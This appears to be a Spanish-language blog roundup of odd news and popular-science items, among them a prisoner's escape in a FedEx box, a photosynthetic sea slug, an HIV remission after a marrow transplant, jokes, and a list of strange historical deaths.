Hans Lang, de 42 años, purgaba una pena por tráfico de drogas. Según explicaron fuentes policiales se metió en una caja que fue despachada por el correo privado FedEx, lógicamente, hacia el mundo exterior. Esos grandes paquetes contienen normalmente ropa sucia en grandes cantidades. Esta vez, con el hombre dentro, fue cargada a un camión y de allí a través de las puertas de la prisión de Willich, cerca de Dusseldorf. En algún lugar de la marcha el hombre se bajó del vehículo y desapareció. Su ausencia fue descubierta recién cuando el camionero se encontró con la caja abierta y las puertas del camión forzadas desde dentro. Un vocero de la policía -que todavía busca al creativo escapista- explicó que "éste es el tipo de cosas que la gente piensa que pasan en las películas". | |
La Elysia chlorotica es un caracol marino que se alimenta de algas, pero a medida que descompone estas su metabolismo preserva las estructuras fotosintéticas, llamadas plástidos, para posteriormente trasladarlas hasta la superficie de su cuerpo, donde pueden proseguir realizando la fosíntesis.
Ello significa que el caracol puede realizar la fotosíntesis como las plantas, a pesar de ser un animal.
Los plástidos funcionaban en el caracol durante meses, después de haber sido extraídos de las algas. Pero los plástidos no funcionan normalmente por sus propios medios. Necesitan de la ayuda de unas proteínas que son codificados por los genes en el ADN de las algas. ¿Sería posible que el caracol produjese esas proteínas para los plástidos?
Investigando el caracol los científicos descubrieron en el mismo a un gen crucial en la fotosíntesis, llamado psbO, cuya secuencia era idéntica al de la especie de alga que le provee de sus plástidos.
Un claro ejemplo de transferencia de genes.
Vía El blog de Maikelnai
Un equipo de científicos cree haber descubierto la manera de revertir el proceso de encanecimiento del cabello asociado a enfermedades o estrés extremo.
Investigadores de la Universidad de Manchester en el Reino Unido, y de la Universidad de Lubeck, en Alemania, han conseguido estimular el pigmento que da color al cabello.
Para ello los investigadores emplearon una molécula denominada K(D)PT, muy similar a la melanina, la hormona que estimula el pigmento que da color al cabello y la piel.
Descubrieron que, una vez tratados con K(D)PT, la cantidad de melanina en los folículos se incrementaba significativamente, aunque aún se desconoce si podrá ser utilizada para restaurar el color del cabello en su totalidad.
La técnica aún debe ser puesta a prueba en seres humanos y por el momento no podrá revertir el proceso natural de encanecimiento.
Artículo publicado por BBCMundo.
El hombre que hace su fortuna en un año debería ser ahorcado doce meses antes.
(Proverbio ruso)
BERLÍN, Alemania(EFE)
La clínica universitaria de la Charité de Berlín ha conseguido curar el sida a un paciente enfermo de leucemia al que intencionalmente trasplantaron la médula de un donante inmune al virus VIH, en un proceso cuyos pormenores presentó hoy el artífice del innovador tratamiento, el hematólogo Gero Hütter.El equipo encargado del paciente, un varón estadounidense de 42 años, preseleccionó a unos 80 posibles donantes de médula en busca de uno que fuera inmune al virus, algo que ocurre en entre un uno y un tres por ciento de los europeos.
Tras realizar más de sesenta análisis el equipo médico dio con el candidato ideal, que presentaba una mutación genética natural, conocida como delta 32 CCR5 y que, si se hereda de ambos progenitores, inmuniza frente a la mayoría de cepas del virus.
El trasplante de médula de ese donante ha conseguido que el paciente superara la leucemia y lleve casi dos años sin anticuerpos del VIH ni en la sangre ni en los órganos vitales, algo inédito en el campo de la medicina hasta ahora.
"Escogimos a ese donante con la esperanza de que con el trasplante de sus células medulares podríamos, al mismo tiempo, eliminar la infección de VIH", señaló Hütter.
El director de medicina clínica de Hematología y Oncología del hospital, Eckhard Thielm aseguró hoy en una rueda de prensa que ese procedimiento supone un "éxito para la ciencia" y un "acontecimiento médico" pero afirmó que queda "un largo camino" para saber si de ese tratamiento se puede obtener una cura para el sida.
"Puede que dé resultado en algún momento en el futuro y si tenemos mucha suerte", explicó Thielm.
Hütter, de 39 años, relató que conocía la existencia de esa mutación genética natural, que fue descubierta hace más de diez años, y decidió aplicar esos conocimientos a este paciente en concreto.
Al hombre, que vive en Berlín, se le diagnosticó el VIH hace más de diez años y llevaba tres años de tratamiento contra la leucemia cuando los médicos de la Charité decidieron someterlo al trasplante de médula.
Sin embargo, el médico quiso "minimizar las falsas esperanzas" despertadas por el éxito de la Charité, del que se han hecho ya eco algunas revistas especializadas, puesto que se ha conseguido en un caso "muy concreto" y durante el tratamiento de otra enfermedad grave.
El hematólogo destacó que lo más importante del caso es el "mensaje psicológico" que supone para los enfermos de sida de cara las nuevas posibilidades de investigación que se abren para esa dolencia.
Hütter explicó que el hospital ha tardado en dar a conocer el caso, que difundió hoy en Alemania el popular diario "Bild" en su portada, para estar seguros de que los anticuerpos del VIH no se hubieran reproducido en los órganos del paciente, algo que es habitual pasado un tiempo.
No obstante, el responsable de medicina clínica de Infecciología del hospital, Thomas Schneider, advirtió que pese a los más de 600 días transcurridos desde la operación "no se puede tener una certeza del cien por cien de que la enfermedad no vaya a resurgir".
El vicedecano de Investigación de la Charité, Rudolf Trauber, calificó de "poco serios" a quienes, a raíz de este procedimiento, "prometan la curación" a los millones de personas infectadas de VIH.
Admitió que ante la propuesta de Hütter, la dirección se mostró "escéptica" por la falta de garantías del novedoso procedimiento y destacó que encontrar a un donante inmune entre la muestra de ochenta personas seleccionadas fue "una casualidad muy feliz".
"Si no lo hubiéramos encontrado, habríamos tenido que seguir el procedimiento convencional, porque el paciente no tenía más tiempo, si queríamos curarle la leucemia, que era nuestra prioridad al fin y al cabo", apuntó Hütter.
Señaló también que en los casos convencionales, se considera que un enfermo de leucemia está curado si después de cinco años no presenta células cancerígenas pero añadió que ante este caso "especial" no se aplican las normas habituales.
ASALTO A LAS BUENAS COSTUMBRES
| Una mujer denunció que su casa había sido robada. Su hija después admitió que el desastre lo causó ella buscando una bikini. |  |
Una señora reportó un robo en su domicilio. Todo parecía indicar que su casa en Rheydt, Alemania, había sido puesta patas para arriba por vándalos en busca de algo de valor. Sin embargo su hija Sylvia Riegler, de 16 años, confesó a los detectives -mientras trataban de establecer cómo habían entrado los malvivientes- que había sido ella buscando su traje de baño. Un vocero de la policía explicó que "parecía un clásico atraco cuando llegamos. Adornos rotos, cajones vaciados, muebles volteados o con todos sus cajones abiertos. Era un caos. Lo único que no quedaba claro era cómo habían entrado sin forzar la puerta". La adolescente comentó que "es cierto que soy un poco desprolija pero realmente no me di cuenta que había causado semejante desorden". | |
Un equipo de investigadores ha creado un tipo de células capaz de vender a los mecanismos de defensa del Virus de Inmunodeficienca Humana (VIH) que provoca el SIDA.
Según publica la revista "Nature Medicine", creadas en el Reino Unido por investigadores estadounidenses, las células manipuladas son además capaces de reconocer el virus en su complejo proceso de mutaciones.
La mayor parte de los virus pueden ser eliminados por las defensas del propio cuerpo, en parte debido a las "células-T asesinas", que aprenden a reconocer al intruso y a eliminarlo. Sin embargo, el poder del VIH se origina en su habilidad para mutar rápidamente para evitar ser detectado y destruido.
Los investigadores han logrado crear células-T optimizadas que tienen la habilidad de reconocer y atacar a más de estas formas mutadas, ya que han agregado más versiones de la "célula-T receptora" que han sido programada para identificar varias mutaciones del virus.
Las primeras pruebas con portadores del VIH en estado avanzado podrían empezar el año que viene.
LIVING GRATINADO
| Un artista ha cubierto de queso muebles, lámparas, cortinas, cuadros y hasta todo un living. Pero eso no es todo. |  |
¿Se imagina una habitación completa -con todos sus elementos, incluidos techo, paredes, alfombra- cubierta de queso? Si cree que la vista puede ser de lo más apetitosa sepa que es un tema para el debate. Cosimo Cavallaro es un respetado director de comerciales que desde su más temprana juventud da rienda suelta a su instinto de bañar cosas en queso. Y ha creado efectos notables en muebles y prendas de vestir. Pero como no sólo de queso vive el hombre.... no podía faltar el jamón. Una imagen preocupante es la de la Cama de Jamón. Y de postre -siempre y cuando ningún invitado de vísceras inquietas haya puesto sus nalgas primero- el hermoso sillón de caramelo. No se pierda los pormenores de las grasientas páginas de La habitación del queso. | |
LA CERVEZA SANADORA
| En el laboratorio de la universidad un grupo de jóvenes desarrolla una cerveza que podría combatir las enfermedades del corazón, el cáncer y la diabetes. |  |
Thomas Segall-Shapiro, un estudiante de la Universidad Rice en Estados Unidos, con tan solo 20 años trabaja en este proyecto que empezó como un chiste y demostró no serlo: desarrollar una cerveza sanadora. Al parecer, la levadura de la cerveza modificada genéticamente para producir resveratrol podría combatir las enfermedades del corazón, la diabetes y hasta prevenir el cáncer. El producto en el que se hallan trabajando se llama "BioBeer", luego de que decidieran darle un nombre más comercial que el original "Frankenbeer". Si bien todavía no la han desarrollado como bebida que pueda ser comercializada, lo cierto es que sólo el mayor de los integrantes del equipo tiene edad legal para beberla. Cuando les preguntaron por qué cerveza la respuesta de Taylor Stevenson, miembro del equipo, no se hizo esperar: por año los americanos consumen 80 litros de cerveza per cápita. Mientras que para el vino el número es de 9 litros y medio. | |
Hablando de estas clases o tribus urbanas, me tope con unos metaleros cumbieros, aqui su freeaky song.
- Siempre que trato de ahogar mis penas en alcohol, el alcohol trata de ahogarme a mí.
- Siempre que juego pacman me dice: GAME OVER.
- Rexona me abandona.
- Siempre que voy al baño no hay papel.
- Yo siempre creo en el amor, pero el amor nunca cree en mí.
- Cuando fumo el cigarro de apaga.
- Cada vez que tomo un taxi… va ocupado.
- Mi sombra me cambio por la de mi perro.
- Los “EMOS” no me quieren.
- Cuando duermo sueño que tengo amigos.
- “El día que nací se murieron todas la flores”.
- Cuando voy al McDonals mi cajita feliz se deprime.
- El amor es como una paloma, viene, caga y se va.
- Bob esponja no quiere ser mi amigo.
- Siempre que salgo en sol se oculta.
- La NASA me abandono en el desierto.
- Mi padrino mágico se suicido.
- Las abejas dicen que no vale la pena morir por mí.
- Una vez soñé que me conectaba al MSN y me hablaban todos.
- Los fantasmas dicen que no existo.
- La gente me dice que busque una novia en el Ares, y cuando busco no conecta.
- El antivirus me detectó como amenaza.
- Mi mama me quiere… “como amigo”.
- Cuando juego a las escondidas nadie me busca.
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VENDÍA GRANADAS POR E-BAY
| Armas prohibidas, misiles y granadas son algunas de las cosas que vendía por Internet. |  |
David Sampson, de 42 años de edad, fue sentenciado a cinco de prisión por vender armamento en el conocido sitio de remates por Internet E-Bay. Según Charles MacDonald, el juez de la Corte de Maidstone, "éstas son armas inusuales, prohibidas y halladas en circunstancias que no fueron explicadas. El sospechoso además no mostró arrepentimiento y se comportó en forma arrogante'. Sampson que había vendido legítimamente armas desactivadas desde su hogar en Sittingbourne contaba en su arsenal con 750 armas ilegítimas que incluían pistolas con silenciador y granadas. Entre sus pertenencias hallaron también una Luger alemana de la Primera Guerra Mundial, reliquias de la armería belga y otros equipos prohibidos por el Acta de Armas de Fuego de 1968. Sin dudas la estrella de la colección era el imponente misil anti-tanques ruso de un metro de largo de uso documentado en Iraq y Afganistán. | |
Un par de investigadores estadounidenses proponen un mecanismo que podría acelerar la absorción natural de Anhídrido Carbónico.
Peter B. Kelemen y Jürg Matter, de la Universidad de Columbia (Nueva York, EEUU), han estudiado los procesos de carbonatación de una parte del manto interno de la Tierra que se encuentra expuesto al exterior en una zona del Sultanato de Omán llamada Samail.
En dicho lugar la formación de peridotita, una roca que se forma allí de manera natural, supone la absorción de un buen número de toneladas de CO2.
El problema reside en que la formación de dicho tipo de rocas necesita de miles de años, aunque los investigadores han descubierto que la carbonatación de la peridotita puede ser acelerada mediante la perforación de la corteza, la fractura hidráulica, la inyección de CO2 purificado a altas presiones o aumentando la temperatura en las capas profundas".
Las conclusiones de su estudio, que han sido publicadas en la revista "Proceedings of the National Academy of Sciences", sostienen que la carbonatación de peridotita podría secuestrar más de 1.000 millones de toneladas de CO2 cada año sólo en el estrato estudiado en Omán.
Una considerable cifra, que supone más del doble de las emisiones de CO2 que produce anualmente un país como MEXICO
Un dia normal en mi querida Tijuana, un cafecito rico y a darle a la chamba. Buenos dias...todo amaneció normal...
"Fantastic Faster Than Superman Spiderman Batman Wolverine Hulk And The Flash Combined" solía llamarse George Garratt. Ahora, con 19 años, tiene un nombre más original. Y más largo. El trámite de cambio de nombre sólo le costó 16 dólares y lo realizó cómodamente por Internet.El joven, graduado en Música, explicó que "quería ser único. Decidí llamarme con un tema de superhéroes". Así se sumó a las filas de las personas con nombres inusualmente largos como el caso de Rhoshandiatellyneshiaunneveshenk Koyaanisquatsiuth Williams, una niña nacida en Texas en 1984.El joven británico agregó que si bien él considera que haberse puesto ese nombre tiene toda la onda su abuela le retiró la palabra.Meses atrás una pareja había sido multada por haber registrado a su hijo como "Brfxxccxxmnpcccclllmmnprxvclmnckssqlbb11116".
Marticar chile diariamente puede ayudarnos a perder por término medio entre 25 y 36 calorías diarias, unas 2000 al cabo de un mes.
Son los resultados de un estudio llevado a cabo en el Reino Unido por el Wrigley Science Institute, una organización especializada en llevar a cabo investigaciones acerca de los beneficios que reporta el consumo del chicle.
Según el estudio consumido a diario, sobre todo en los momentos de mayor estrés, podría hacernos reducir unas 1.000 calorías al mes de nuestra dieta.
Así lo explicó en Madrid la jefa del departamento de Nutrición de Wrigley Science Institute, Marion Hetherington., que presentó dos estudios realizados por su organización con un total de 120 estudiantes de la Universidad de Liverpool -- uno con 60 consumidores habituales de chicle y otro con otros 60 que querían perder peso.
La clave parece residir en los sabores dulces, como el del chocolate, que tienen muchos chicles y el movimiento que realizamos al mascar ayudan a controlar "el ansia" que nos lleva al frigorífico.
"Nos ayuda a no picar entre horas, una de las causas principales de sobrepeso en España, donde tenemos la mala costumbre de saltarnos el desayuno y la merienda, acumulando horas de hambre para la comida y la cena".
Por otra parte el consumo de chicle eleva un 10% la producción de saliva y por tanto, ayuda a prevenir las caries, previene la sequedad bucal y remineraliza el esmalte de los dientes.
La práctica generalizada de elongar los músculos antes de iniciar el deporte parece no dar buenos resultados.
Antes de iniciar cualquier tipo de actividad deportiva entre los movimientos de calentamiento más habituales se encuentran las elongaciones estáticas, estiramientos mantenidos durante 20 a 30 segundos.
Una técnica que según los resultados de un estudio llevado a cabo en la Universidad de Nevada, produce resultados contraproducentes, ya que los músculos elongados generan menos fuerza de lo que lograrían sin ningún tipo de estiramiento, con disminuciones de hasta el 30%.
Elongar una sola pierna puede reducir también la fuerza de la otra, probablemente por el sistema nervioso central se rebela contra los movimientos.
"Hay una respuesta inhibitoria neuromuscular a la elongación estática", dice Malachy McHugh, director de investigaciones del Instituto Nicholas de Medicina Deportiva y Trauma Atlético del Hospital Lenox Hill, en Nueva York. El músculo estirado responde menos y permanece debilitado hasta 30 minutos después de la elongación.
La receta correcta parece ser la de elevar la temperatura corporal con una actividad aeróbica ligera, con un simple trote ligero por ejemplo.
La elongación dinámica, que consiste en estirar los músculos en movimiento, aumenta la fuerza, flexibilidad y rango de movimiento.
| En Estados Unidos un hombre fue a prisión por permitir que su novia comiera de su plato. |  |
Un hombre entró con su novia a un restaurante de tenedor libre, de esos en lo que uno puede llenar su plato cuantas veces quiera. El hombre permitió que la mujer comiera de su plato y por lo tanto cuando fue a pagar el cajero le exigió que abonara dos almuerzos. El hombre se negó a pagar dos servicios (de 7 dólares cada uno) alegando que la novia sólo probó un par de bocados de su plato. Y explicó que "en ningún lado hay carteles que digan que alguien no puede servirse algo de tu plato". La policía se hizo presente en el restaurante de Hollowell Parkway y el hombre fue ingresado en la prisión del condado de Fulton para cumplir dos días de arresto por conducta impropia. | |
"Incierto es el lugar donde la muerte te espera, espérala pues en todo lugar", dice el refrán y tal parece que para algunas personas ha sido muy cierto, pero sobre todo extraño, pues la forma en que murieron, irónicamente se ha vuelto ya inmortal por el grado de curiosidad y extrañeza.
Son 15 las muertes más raras y en cierto grado absurdas que se han registrado en la historia, por ejemplo es muy común decir "Me muero de risa", pero para Alex Mitchell, un albañil de 50 años de edad de Inglaterra, no fue muy graciosa esta frase, pues murió tras 25 minutos de risa cuando observaba un capítulo de la serie The Goodies.
En el 2003, Damnoen Saen-um, un vendedor de helados tailandés, se murió de risa mientras dormía a la edad de 52 años. Su esposa lo intentó despertar pero no tuvo éxito, y finalmente tras dos minutos de risa continua expiró. Se cree que murió a consecuencia de un ataque cardíaco o por asfixia.
*Se mordió la lengua
Allan Pinkerton, famoso por crear la agencia de detectives que llevaba su nombre, murió de una infección después de morderse la lengua cuando se resbaló en la calle.
*Murió por barbón
El austríaco Hans Steininger supo ser famoso por tener la barba más larga del mundo (de casi un metro y medio) y por morir a causa de ella. Un día de 1567 hubo un incendio en su ciudad y en la huida Hans se olvidó de enrollar su barba, la pisó, perdió el equilibrio, tropezó y se rompió el cuello.
*El postre lo mató
El rey Adolfo Federico de Suecia amaba comer y murió por ello. Conocido como "El rey que comió hasta morir", falleció en 1771 a la edad de 61 años a causa de un problema digestivo luego de comer una cena gigantesca consistente de langosta, caviar, chucrut, sopa de repollo, ciervo ahumado, champaña y catorce platos de su postre preferido: semilla, relleno de mazapán y leche.
*Cáscara de naranja asesina
Bobby Leach no temía cortejar a la muerte: en 1911 fue la segunda persona en el mundo en sobrevivir a una caída en barril por las cataratas del Niágara. Realizó muchas proezas de ese tipo, por lo que su muerte es especialmente irónica. Caminando por una calle de Nueva Zelanda, Leach tropezó con un pedazo de cáscara de naranja. Se rompió la pierna tan mal que debió serle amputada. Murió debido a complicaciones de la cirugía.
*Intentaron matarlo 4 veces
De acuerdo con la leyenda, el místico ruso Grigori Rasputin (1869-1916) fue primero envenenado con suficiente cianuro para matar diez hombres, pero eso no lo afectó. Entonces sus asesinos le dispararon por la espalda con un revólver. Rasputín revivió poco después. Le dispararon tres veces más, pero Rasputín seguía vivo. Así que entonces fue molido a palos, y por las dudas arrojado a las aguas heladas del río Neva.
*Por una pelota de beisbol
Ray Chapman, jugador de los Cleveland Indians, fue asesinado por una pelota de béisbol. Por aquellos días, los pitcher solían ensuciar la pelota antes de lanzarla para que se hiciese más difícil de ver. El 6 de agosto de 1920 en un juego contra los New York Yankees, Carl Mays, pitcher de los Yankees, lanzó una pelota sucia contra Chapman, quien no la vio y recibió el golpe fatal en su cabeza.
*La mató la bufanda
La madre de la danza moderna, Isadora Duncan, murió a causa de una bufanda que le encantaba usar. Escribió el New York Times en su obituario del 15 de septiembre de 1927: "El automóvil estaba yendo a toda velocidad cuando la bufanda de seda se enganchó en la rueda y arrastró con terrible fuerza a la señorita Duncan, precipitándola con violencia contra la calle. Fue arrastrada durante varios metros hasta que el chofer se detuvo, a causa de los gritos que venían de la calle. Se reclamó ayuda médica, pero quedó probado que se estranguló y murió instantáneamente".
*Suicidio durante un noticiero en vivo
Christine Chubbuck fue la primera y única presentadora de noticiero en suicidarse durante un programa en vivo. El 15 de julio de 1974, a los ocho minutos de programa, la deprimida reportera dijo: "Para mantener la política del canal 40 de traerles lo último en materia de sangre y entrañas, y a todo color, aquí tienen otra primicia: un intento de suicidio". Y a continuación, Chubbuck sacó un revólver y se disparó en la cabeza.
*Asesinado por robot
Robert Williams fue el primer hombre asesinado por un robot. Sucedió el 25 de enero de 1979, en la planta de Ford de Flat Rock. Williams trepó dentro de un depósito de repuestos para devolver una pieza a su lugar, porque el robot que las manipulaba se había roto. Pero se reactivó súbitamente, y lo golpeó con su brazo metálico, matándolo instantáneamente.
*Se ahogó con tapón de botella
El dramaturgo norteamericano Tennessee Williams murió en 1983 luego de ahogarse con el tapón de una botella.
*Muerte sobre el escenario, contando un chiste
Dick Shawn (1924-1987) fue un comediante que tuvo un ataque al corazón y murió durante una broma que pareció extrañamente apropiada: se estaba burlando de los políticos que en su campaña decían cliches como "No me voy a dormir en mi cargo". Shawn entonces se tiró al piso, boca abajo. En un comienzo, el público pensó que eso era parte del show, hasta que un rato después un empleado del teatro subió al escenario, constató su pulso y empezó a darle los primeros auxilios. Llegaron los paramédicos, y al público se le pidió que se fuese a casa: Dick Shawn estaba muerto.
*Muerte por bomba en collar
En la tarde del 28 de agosto del 2003, el repartidor de pizza Brian Wells intentó robar un banco con una pistola. Cuando fue reducido por la policía, Wells reveló que había sido forzado a cometer el delito por unas personas a las que les había acabado de entregar una pizza: le habían puesto un collar con un explosivo ubicado en la nuca. De hecho, la bomba explotó antes de que el escuadrón antibomba pudiese desactivarla. Hasta el día de hoy, no queda claro si Wells fue una víctima, parte de una banda o un ladrón solitario.
*Por un pollo
Francis Bacon, una de las personas más influentes del siglo XVI. Político, filósofo, escritor y científico murió rellenando un pollo de nieve.
Una tarde de 1625, Bacon estaba mirando una tormenta de nieve y pensó que la nieve podría conservar la carne como lo hacia la sal. Decidido a probarlo, compró un pollo en una aldea cercana, lo mató, y se quedó fuera de casa para ver como el pollo cubierto de nieve se congelaba. El pollo nunca se congeló pero Francis murió de pulmonía.
*Decapitado por aspas de helicoptero
El actor Vic Morrow murió en el set de la película de La Dimensión Desconocida cuando un helicóptero quedó fuera de control por unas explosiones de los efectos especiales, chocó, y lo decapitó con sus aspas. Dos niños actores también murieron en el evento, lo que propició una serie de masivas regulaciones dentro de las leyes de trabajos de niños en Estados Unidos y las regulaciones sobre seguridad en los estudios cinematográficos.
![[homer-simpson-3.jpg]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFW4dZ0suTujuce-dz_ghyphenhyphenvGdrVW19W7q7mdNKRw3jIwDgUd_gt9-qjUJddL9_957FO31ZAjUylost590WA3EJAJX7NlQ7b6FGc1JhBPDCU4ofmx9ETxAzgfYvyVe0k5JTGb7jRQ/s1600/homer-simpson-3.jpg)
